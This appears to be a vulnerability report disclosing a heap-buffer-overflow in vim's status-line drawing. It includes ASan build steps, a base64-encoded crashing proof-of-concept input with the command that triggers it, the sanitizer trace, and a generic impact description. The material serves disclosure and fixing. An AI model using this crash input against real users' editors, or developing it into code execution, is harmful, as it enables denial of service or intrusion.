Whilst testing vim built from commit be01090
with Clang 12 + ASan on Ubuntu 18.04, we discovered crafted input which triggers a bug in how vim draws information on the screen, causing a heap-buffer-overflow, WRITE of size 5 to occur.
The disclosed POC is trimmed down as small as we could make it and still trigger the bug. Thank you.
First…
git clone https://github.com/vim/vim
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
make
Second…
echo "ZggwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCmYIMH8wMDAwMDAlJSUlJSUlJSUlJTAwMDAwMPz//wpl
JSUlJSUlJSUlJSUlJSUKdnMKdjD/MG8=" | base64 -d > /tmp/crash0000.fuzz
Then…
vim -u NONE -X -Z -e -s -S /tmp/crash0000.fuzz -c :qa!
Finally…
==1650480==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100000c500 at pc 0x00 000043beca bp 0x7ffd6c97a1b0 sp 0x7ffd6c979978
WRITE of size 5 at 0x62100000c500 thread T0
#0 0x43bec9 in __asan_memcpy (/root/vim/src/vim+0x43bec9)
#1 0x61259e in win_redr_status /root/vim/src/drawscreen.c:488:6
#2 0x630463 in redraw_statuslines /root/vim/src/drawscreen.c:3230:6
#3 0x14d46b5 in main_loop /root/vim/src/main.c:1396:6
#4 0x806356 in do_exedit /root/vim/src/ex_docmd.c:6903:3
#5 0x7ab70f in ex_open /root/vim/src/ex_docmd.c:6838:5
#6 0x7cc6cc in do_one_cmd /root/vim/src/ex_docmd.c:2611:2
#7 0x7cc6cc in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#8 0x78e706 in global_exe_one /root/vim/src/ex_cmds.c
#9 0x78e706 in global_exe /root/vim/src/ex_cmds.c:5030:2
#10 0x78d8f7 in ex_global /root/vim/src/ex_cmds.c:4991:6
#11 0x7cc6cc in do_one_cmd /root/vim/src/ex_docmd.c:2611:2
#12 0x7cc6cc in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#13 0xed4fba in do_source /root/vim/src/scriptfile.c:1406:5
#14 0xee2d93 in cmd_source /root/vim/src/scriptfile.c:971:14
#15 0xee2d93 in ex_source /root/vim/src/scriptfile.c:997:2
#16 0x7cc6cc in do_one_cmd /root/vim/src/ex_docmd.c:2611:2
#17 0x7cc6cc in do_cmdline /root/vim/src/ex_docmd.c:1000:17
#18 0x14cd685 in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
#19 0x14cd685 in exe_commands /root/vim/src/main.c:3081:2
#20 0x14cd685 in vim_main2 /root/vim/src/main.c:773:2
#21 0x14c6426 in main /root/vim/src/main.c:425:12
#22 0x7fcb01979564 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x28564)
#23 0x3c180d in _start (/root/vim/src/vim+0x3c180d)
0x62100000c500 is located 0 bytes to the right of 4096-byte region [0x62100000b500,0x62100000 c500)
allocated by thread T0 here:
#0 0x43ca6d in malloc (/root/vim/src/vim+0x43ca6d)
#1 0x47135d in lalloc /root/vim/src/alloc.c:244:11
SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/vim/src/vim+0x43bec9) in __asan_memcpy
Forcefully exiting vim, software crash, etc.
Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program’s implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker’s code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime. When the consequence is arbitrary code execution, this can often be used to subvert any other security service.